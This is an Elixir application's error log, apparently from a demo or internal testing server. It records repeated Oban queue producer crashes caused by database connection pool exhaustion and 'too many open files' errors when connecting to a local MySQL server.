    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:42:07.238893Z], limit: 5, uuid: "0de19338-bfb9-46ca-b997-f217eb41573f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.238899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258806>, refresh_timer: #Reference<0.2525715032.1077411843.258805>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:42:07.239279Z], limit: 5, uuid: "753f77da-1447-4a36-bcec-2c3e58d4520b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.239285Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25220>, refresh_timer: #Reference<0.2525715032.1068498948.25198>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:42:07.240095Z], limit: 50, uuid: "0df05f6f-c99c-4525-ad30-002c257d779d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:07.240101Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.258807>, refresh_timer: #Reference<0.2525715032.1068498948.25211>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:24.518000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:25.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:25.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:28.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:29.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:29.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:30.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:30.833000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:42:19.239635Z], limit: 5, uuid: "bd920f21-bdc7-43b6-aa29-d0fb758f15aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.239641Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26561>, refresh_timer: #Reference<0.2525715032.1068498948.25360>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:42:19.238223Z], limit: 10, uuid: "c19e06db-87cc-4064-a296-4ea833530e2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.238233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.134145>, refresh_timer: #Reference<0.2525715032.1121189889.134110>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:42:19.239695Z], limit: 3, uuid: "04f94205-e956-425d-a8dd-01b8f22688a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.239701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26559>, refresh_timer: #Reference<0.2525715032.1099431938.26525>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:42:19.239480Z], limit: 20, uuid: "61fdd4f9-a4fb-4c31-bb76-ec22e20a122f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.239486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26560>, refresh_timer: #Reference<0.2525715032.1068498948.25359>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:42:19.239839Z], limit: 50, uuid: "e76c56ac-6f2a-42a7-8cc0-35869fde95f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.239845Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.26562>, refresh_timer: #Reference<0.2525715032.1121189889.134134>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:42:19.239789Z], limit: 5, uuid: "347437af-0967-449e-9c7e-c1ef56f73ea4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:19.239794Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25367>, refresh_timer: #Reference<0.2525715032.1068498948.25366>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:32.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
